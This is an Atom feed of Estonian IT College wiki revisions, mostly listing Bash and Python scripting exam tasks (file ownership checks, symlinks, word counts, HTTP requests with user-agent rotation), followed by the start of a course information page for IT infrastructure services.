Loo skript, mis saab kaks käsurea parameetrit. 1. kasutajanimi 2. kausta nimi. Kui kasutajat/kausta ei ole või on vale arv parameetreid, siis tuleb töö katkestada veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Skript leiab teise käsurea parameetrina antud kasutast kõik kasutajale kuuluvad failid ja teeb nendele sümlingid, kus originaalfailinimele on ette lisatud kasutajanimi.&lt;br /&gt;
&lt;br /&gt;
Näiteks kasut oli /var ja seal oli kasutale audio kuuluv fail /var/kala.txt, siis luuakse sümlink /var/audiokala.txt, mis viitab failile /var/kala.txt-le.&lt;br /&gt;
&lt;br /&gt;
Lisaks tehakse igale kasutajale kuuluvale failile veel teine sümlink, kus failinime ette on liidetud faili md5 räsi.&lt;br /&gt;
&lt;br /&gt;
Näiteks /var/kala.txt-le mille sees on 000 viitab räsi /var/23ebe88c0224f4f4fc0b608216e98735kala.txt&lt;br /&gt;
&lt;br /&gt;
Ülesande tekst pange skriptile kaasa. Skript tuleb saata enne 14:00-i&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestus 29.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. Serveri nimi või IP aadress, 2. failinimi, kus sees on URL ja otsitav string.&lt;br /&gt;
&lt;br /&gt;
Skript teeb käsurea parameeteriga antud serveri pihta GET päringuid, mis on teise argumendina antud failis ja otsib vastusena saadud lehelt samas failis antud otsitavat stringi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui string leitakse kirjutataks väljundisse:&lt;br /&gt;
&lt;br /&gt;
SERVER,URL,otsitavstring,kellaaeg (aasta, kuu, päev, tund, minut, sekund), OK või NOK&lt;br /&gt;
&lt;br /&gt;
näitefail:&lt;br /&gt;
&lt;br /&gt;
/index.html,itcollege.ee&lt;br /&gt;
&lt;br /&gt;
/kama/index.html,Siin ei ole kama&lt;br /&gt;
&lt;br /&gt;
==Bash arvestus 31. jaanuar 2015.a. kaugõpe==&lt;br /&gt;
Loo skript, mis saab viis käsurea parameetrit. 1. kasutajanimi, 2. failinimi, 3. grupinimi, 4. kataloogi nimi, 5. pakinimi&lt;br /&gt;
&lt;br /&gt;
1. Skript kontrollib, kas kasutaja on olemas. Kui pole siis exit 1&lt;br /&gt;
&lt;br /&gt;
2. Skript kontrollib, kas grupp on olemas. Kui pole, siis loob&lt;br /&gt;
&lt;br /&gt;
3. Skript kontrollib, kas käsurealt antud failinimi on olemas, kui pole, siis loob. Skript määrab faili kasutajaks antud kasutaja ja grupiks antud grupi&lt;br /&gt;
&lt;br /&gt;
4. Skript kontrollib, kas antud kataloog on olemas ja kui on, siis kopeerib /var/log/ kaustast kõik .log laiendiga failid sinna kausta&lt;br /&gt;
&lt;br /&gt;
5. Skript kontrollib, kas antud pakk on paigaldatud ja ütleb kasutajale, kas pakk on paigaldatud või ei ole.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Python arvestustöö kaubõppele 31. jaanuar 2015.a.==&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõik sisendfaili erinevad sõnad ja kirjutab tulemuse väljundfaili kujul.&lt;br /&gt;
&lt;br /&gt;
SÕNA,MITU,PROTSENT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Näiteks failis on neli sõna:&lt;br /&gt;
siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Väljund on:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
siin,1,0.25&lt;br /&gt;
ei,1,0,25&lt;br /&gt;
ole,1,0.25&lt;br /&gt;
kala,1,0.25&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestustöö neile, kellel python kodutöö on saadetud. Arvestus tuleb saata hiljemalt esmaspäeval 22.detsembril==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõikide sisendfailis olnud tähtede esinemissageduse ja kirjutab selle väljundisse kujul.&lt;br /&gt;
&lt;br /&gt;
TÄHT,MITU_OLI,PROTSENT kogu tähtede arvust&lt;br /&gt;
&lt;br /&gt;
Näiteks sisendfail sisaldab:&lt;br /&gt;
&lt;br /&gt;
Siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
Väljundfail:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
s,1,7.6923077&lt;br /&gt;
i,3,23.0769231&lt;br /&gt;
n,1,7.6923077&lt;br /&gt;
e,2,15.3846154&lt;br /&gt;
o,1,7.6923077&lt;br /&gt;
l,2,15.3846154&lt;br /&gt;
k,1,7.6923077&lt;br /&gt;
a,2,15.3846154&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui skriptil on vale arv parameetreid või skript ei saa faile avada sobivaks operatsiooniks või faili kirjutada/lugeda, siis tuleb tagastada veakood sys.exit(X). Veakoodid valid ja dokumenteerid ise.&lt;br /&gt;
&lt;br /&gt;
==Näidiskodutöö neile, kes ise teemat ei leidnud ja õppejõult ei saanud==&lt;br /&gt;
&lt;br /&gt;
Skriptil on kaks parameetrit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. sisendfaili nimi&lt;br /&gt;
&lt;br /&gt;
2. väljundfaili nimi&lt;br /&gt;
&lt;br /&gt;
Skript kontrollib, et ette oleks antud kaks parameetrit ja sisendfailist saab lugeda ja väljundfaili saab kirjutada.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on komadega eraldatud 3 tulpa&lt;br /&gt;
&lt;br /&gt;
1. URL,kasutajanmi,parool,otsitav string&lt;br /&gt;
&lt;br /&gt;
Näiteks&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://enos.itcollege.ee,robot,kala,Server&lt;br /&gt;
http://enos.itcollege.ee/~mernits/basicauth/kala.html,robot,kala,SIIN EI OLE KALA&lt;br /&gt;
http://robot.itcollege.ee/kala.html,,,KALA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui server nõuab basic autentimist, siis kasutad antud kasutajanime ja parooli. Kui server ei nõua autentimist, siis kasutajanime ja parooli ei saadeta.&lt;br /&gt;
&lt;br /&gt;
Kui kasutajanimi ja parool puuduvad, siis kasutajanime ja parooli ei saadeta. (kasutajanimi ja parool ei pea olema kirjas)&lt;br /&gt;
&lt;br /&gt;
Skript teeb päringu iga sisendfaili rea kohta ja kirjutab väljundfaili kujul:&lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,OK&lt;br /&gt;
&lt;br /&gt;
Kui päringu vastuses oli otsitav string ja rea: &lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,NOK&lt;br /&gt;
&lt;br /&gt;
Kui otsitav string puudus, või kasutajanimi parool oli vale või server ei vastanud (ehk kõik ülejäänud juhud, kui otsitavat stringi ei leitud)&lt;br /&gt;
&lt;br /&gt;
==Kodutöö või arvestuse python skript (neile, kes esitavad selle kuni 28.mai.2013 enne arvestuse algust)==&lt;br /&gt;
&lt;br /&gt;
Looge skript, mis teeb päringuid esimese argumendina antud veebilehe pihta ja vahetab iga päringuga browser stringi, millede nimekiri on ette antud failis data.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Failinimi olgu kujul p2ring.eesnimi.perenimi.py, ehk kirjutad sinna oma nime&lt;br /&gt;
&lt;br /&gt;
Näiteks: ./p2ring.margus.ernits.py http://wiki.itcollege.ee/ &lt;br /&gt;
&lt;br /&gt;
ja data näitesisu:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mozilla (libwhisker/2.4)&lt;br /&gt;
Mozilla (Mozilla@somewhere.com)&lt;br /&gt;
Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)&lt;br /&gt;
Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)&lt;br /&gt;
Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0)&lt;br /&gt;
Mozilla/2.0 &lt;br /&gt;
Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veatöötlis: Kui faili ei ole või seda ei saa avada, siis skripti väljumiskood (exit code) on 1.&lt;br /&gt;
&lt;br /&gt;
Hindid: urllib2 urllib changing user agent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript saatke õppejõu (Margus Ernits) e-posti aadressile margus.ernitsÄTTitcollege.ee.&lt;br /&gt;
&lt;br /&gt;
NB: Sama ülesannet võib esitada bash arvestustööna, kui kodutöö on olemas.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88654</id>
		<title>Skriptimiskeelte arvestustööd ja kontrolltööd</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88654"/>
		<updated>2015-05-19T07:36:33Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* BASH kontrolltöö 12. mai 2015.a. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Python/BASH kontrolltöö 19. mai 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kolm parameetrit. 1. string 2. sisendfail 3. väljundfail&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, kas sisendfaili saab lugemiseks avada&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kolm (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab väljundfaili kõik read sisendfailist, mis sisaldavad esimese argumendina antud sõna.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==BASH kontrolltöö 12. mai 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kolm parameetrit. 1. kasutajanimi 2. Väljundfail 3. kataloog&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et kasutajanimi on olemas. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kolm (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab väljundfaili kõikide failide nimekirja, kuhu esimese parameetrina antud kasutaja saab kirjutada ja mis asuvad kolmanda parameetrina antud kataloogis või selle alamkataloogides.&lt;br /&gt;
&lt;br /&gt;
==BASH kontrolltöö 7. aprill 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kaks parameetrit. 1. Sisendfail 2. Väljundfail&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et sisendfail on fail ja loetav. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kaks (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
* Skript loeb sisendfailist failide ja kataloogide nimekirja (näiteks kujul)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd&lt;br /&gt;
/etc/&lt;br /&gt;
/var/log&lt;br /&gt;
/sedapoleolemas&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kirjutab väljundfaili failinime ja kas tegu oli failiga (FAIL) või kataloogoga (DIR). Lisaks kirjutab skript väljundfaili faili või kataloogi omaniku. Kui faili/kataloogi ei ole, siis kirjutab (not found). Tulpade eraldajateks on komad. Näiteväljund eelmise näite kohta.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd,FAIL,root&lt;br /&gt;
/etc/,DIR,root&lt;br /&gt;
/var/log,DIR,root&lt;br /&gt;
/sedapoleolemas,not found&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Arvestus 18.oktoober kaugõpe==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis laeb etteantud asukohast alla ühe faili ja kui fail on gz|tar, siis pakib vastava faili lahti teise parameetrina antud kausta (kui kausta pole, siis luuakse). Kui skriptil on kolmas parameeter, siis sätib kausta omanikuks kolmanda parameetri väärtuse ja kui skriptil on neljas parameeter, siis sätib kausta grupiks neljanda parameetri. Skript peab kontrollima, et käivitatakse root õigustes.&lt;br /&gt;
&lt;br /&gt;
./skript http://enos.itcollege.ee/~mernits/a/kala kaust kasutajanimi grupp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala2&lt;br /&gt;
&lt;br /&gt;
==Arvestus 7.november kaugõpe==&lt;br /&gt;
&lt;br /&gt;
NB: seda saab lahendada siis, kui bash kodutööd (failiteenus, veebiteenus või õppejõuga kokkulepitud kodutöö on saadetud). Lahendusi ootan 14:00-ks&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt 2 parameetrit 1. kasutajanimi 2. failinimi&lt;br /&gt;
&lt;br /&gt;
Skript peab kontrollima, et oleks kaks parameetrit, lisaks kasutaja peab olemas olema ja fail loetav. Kui tingimused pole täidetud, siis tuleb kasutajat teavitada ja väljuda veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Teise parameetrina antud failinimes on failide ja kataloogide nimekiri iga kirje eraldi real, nagu näiteks:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/var/kala&lt;br /&gt;
/var/kala/kala.txt&lt;br /&gt;
/var/kala/kala2.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Skript sätib kõikide failide omanikuks kasutaja, mis anti esimese parameetrina. Kataloogide puhul ei tohi omaniku muuta. St näites on esimene rida ilmselt kataloog (seda tuleb ise testida -d abil näiteks), siis esimese rea puhul ei tehta midagi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui faili/kataloogi ei ole, siis tuleb vastav fail/kataloog ise tekitada. Kui rea lõpus on / siis tuleb teha kataloog (kui pole) ja kui rida ei lõpe / märgiga siis tuleb luua fail, kui seda pole. Kui skript ise loob faile/katalooge, siis omanikuks/grupiks on käsurea esimene parameeter.&lt;br /&gt;
&lt;br /&gt;
==Arvestus 8.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. kasutajanimi 2. kausta nimi. Kui kasutajat/kausta ei ole või on vale arv parameetreid, siis tuleb töö katkestada veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Skript leiab teise käsurea parameetrina antud kasutast kõik kasutajale kuuluvad failid ja teeb nendele sümlingid, kus originaalfailinimele on ette lisatud kasutajanimi.&lt;br /&gt;
&lt;br /&gt;
Näiteks kasut oli /var ja seal oli kasutale audio kuuluv fail /var/kala.txt, siis luuakse sümlink /var/audiokala.txt, mis viitab failile /var/kala.txt-le.&lt;br /&gt;
&lt;br /&gt;
Lisaks tehakse igale kasutajale kuuluvale failile veel teine sümlink, kus failinime ette on liidetud faili md5 räsi.&lt;br /&gt;
&lt;br /&gt;
Näiteks /var/kala.txt-le mille sees on 000 viitab räsi /var/23ebe88c0224f4f4fc0b608216e98735kala.txt&lt;br /&gt;
&lt;br /&gt;
Ülesande tekst pange skriptile kaasa. Skript tuleb saata enne 14:00-i&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestus 29.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. Serveri nimi või IP aadress, 2. failinimi, kus sees on URL ja otsitav string.&lt;br /&gt;
&lt;br /&gt;
Skript teeb käsurea parameeteriga antud serveri pihta GET päringuid, mis on teise argumendina antud failis ja otsib vastusena saadud lehelt samas failis antud otsitavat stringi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui string leitakse kirjutataks väljundisse:&lt;br /&gt;
&lt;br /&gt;
SERVER,URL,otsitavstring,kellaaeg (aasta, kuu, päev, tund, minut, sekund), OK või NOK&lt;br /&gt;
&lt;br /&gt;
näitefail:&lt;br /&gt;
&lt;br /&gt;
/index.html,itcollege.ee&lt;br /&gt;
&lt;br /&gt;
/kama/index.html,Siin ei ole kama&lt;br /&gt;
&lt;br /&gt;
==Bash arvestus 31. jaanuar 2015.a. kaugõpe==&lt;br /&gt;
Loo skript, mis saab viis käsurea parameetrit. 1. kasutajanimi, 2. failinimi, 3. grupinimi, 4. kataloogi nimi, 5. pakinimi&lt;br /&gt;
&lt;br /&gt;
1. Skript kontrollib, kas kasutaja on olemas. Kui pole siis exit 1&lt;br /&gt;
&lt;br /&gt;
2. Skript kontrollib, kas grupp on olemas. Kui pole, siis loob&lt;br /&gt;
&lt;br /&gt;
3. Skript kontrollib, kas käsurealt antud failinimi on olemas, kui pole, siis loob. Skript määrab faili kasutajaks antud kasutaja ja grupiks antud grupi&lt;br /&gt;
&lt;br /&gt;
4. Skript kontrollib, kas antud kataloog on olemas ja kui on, siis kopeerib /var/log/ kaustast kõik .log laiendiga failid sinna kausta&lt;br /&gt;
&lt;br /&gt;
5. Skript kontrollib, kas antud pakk on paigaldatud ja ütleb kasutajale, kas pakk on paigaldatud või ei ole.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Python arvestustöö kaubõppele 31. jaanuar 2015.a.==&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõik sisendfaili erinevad sõnad ja kirjutab tulemuse väljundfaili kujul.&lt;br /&gt;
&lt;br /&gt;
SÕNA,MITU,PROTSENT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Näiteks failis on neli sõna:&lt;br /&gt;
siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Väljund on:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
siin,1,0.25&lt;br /&gt;
ei,1,0,25&lt;br /&gt;
ole,1,0.25&lt;br /&gt;
kala,1,0.25&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestustöö neile, kellel python kodutöö on saadetud. Arvestus tuleb saata hiljemalt esmaspäeval 22.detsembril==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõikide sisendfailis olnud tähtede esinemissageduse ja kirjutab selle väljundisse kujul.&lt;br /&gt;
&lt;br /&gt;
TÄHT,MITU_OLI,PROTSENT kogu tähtede arvust&lt;br /&gt;
&lt;br /&gt;
Näiteks sisendfail sisaldab:&lt;br /&gt;
&lt;br /&gt;
Siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
Väljundfail:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
s,1,7.6923077&lt;br /&gt;
i,3,23.0769231&lt;br /&gt;
n,1,7.6923077&lt;br /&gt;
e,2,15.3846154&lt;br /&gt;
o,1,7.6923077&lt;br /&gt;
l,2,15.3846154&lt;br /&gt;
k,1,7.6923077&lt;br /&gt;
a,2,15.3846154&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui skriptil on vale arv parameetreid või skript ei saa faile avada sobivaks operatsiooniks või faili kirjutada/lugeda, siis tuleb tagastada veakood sys.exit(X). Veakoodid valid ja dokumenteerid ise.&lt;br /&gt;
&lt;br /&gt;
==Näidiskodutöö neile, kes ise teemat ei leidnud ja õppejõult ei saanud==&lt;br /&gt;
&lt;br /&gt;
Skriptil on kaks parameetrit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. sisendfaili nimi&lt;br /&gt;
&lt;br /&gt;
2. väljundfaili nimi&lt;br /&gt;
&lt;br /&gt;
Skript kontrollib, et ette oleks antud kaks parameetrit ja sisendfailist saab lugeda ja väljundfaili saab kirjutada.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on komadega eraldatud 3 tulpa&lt;br /&gt;
&lt;br /&gt;
1. URL,kasutajanmi,parool,otsitav string&lt;br /&gt;
&lt;br /&gt;
Näiteks&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://enos.itcollege.ee,robot,kala,Server&lt;br /&gt;
http://enos.itcollege.ee/~mernits/basicauth/kala.html,robot,kala,SIIN EI OLE KALA&lt;br /&gt;
http://robot.itcollege.ee/kala.html,,,KALA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui server nõuab basic autentimist, siis kasutad antud kasutajanime ja parooli. Kui server ei nõua autentimist, siis kasutajanime ja parooli ei saadeta.&lt;br /&gt;
&lt;br /&gt;
Kui kasutajanimi ja parool puuduvad, siis kasutajanime ja parooli ei saadeta. (kasutajanimi ja parool ei pea olema kirjas)&lt;br /&gt;
&lt;br /&gt;
Skript teeb päringu iga sisendfaili rea kohta ja kirjutab väljundfaili kujul:&lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,OK&lt;br /&gt;
&lt;br /&gt;
Kui päringu vastuses oli otsitav string ja rea: &lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,NOK&lt;br /&gt;
&lt;br /&gt;
Kui otsitav string puudus, või kasutajanimi parool oli vale või server ei vastanud (ehk kõik ülejäänud juhud, kui otsitavat stringi ei leitud)&lt;br /&gt;
&lt;br /&gt;
==Kodutöö või arvestuse python skript (neile, kes esitavad selle kuni 28.mai.2013 enne arvestuse algust)==&lt;br /&gt;
&lt;br /&gt;
Looge skript, mis teeb päringuid esimese argumendina antud veebilehe pihta ja vahetab iga päringuga browser stringi, millede nimekiri on ette antud failis data.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Failinimi olgu kujul p2ring.eesnimi.perenimi.py, ehk kirjutad sinna oma nime&lt;br /&gt;
&lt;br /&gt;
Näiteks: ./p2ring.margus.ernits.py http://wiki.itcollege.ee/ &lt;br /&gt;
&lt;br /&gt;
ja data näitesisu:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mozilla (libwhisker/2.4)&lt;br /&gt;
Mozilla (Mozilla@somewhere.com)&lt;br /&gt;
Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)&lt;br /&gt;
Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)&lt;br /&gt;
Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0)&lt;br /&gt;
Mozilla/2.0 &lt;br /&gt;
Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veatöötlis: Kui faili ei ole või seda ei saa avada, siis skripti väljumiskood (exit code) on 1.&lt;br /&gt;
&lt;br /&gt;
Hindid: urllib2 urllib changing user agent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript saatke õppejõu (Margus Ernits) e-posti aadressile margus.ernitsÄTTitcollege.ee.&lt;br /&gt;
&lt;br /&gt;
NB: Sama ülesannet võib esitada bash arvestustööna, kui kodutöö on olemas.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88636</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88636"/>
		<updated>2015-05-18T08:18:21Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
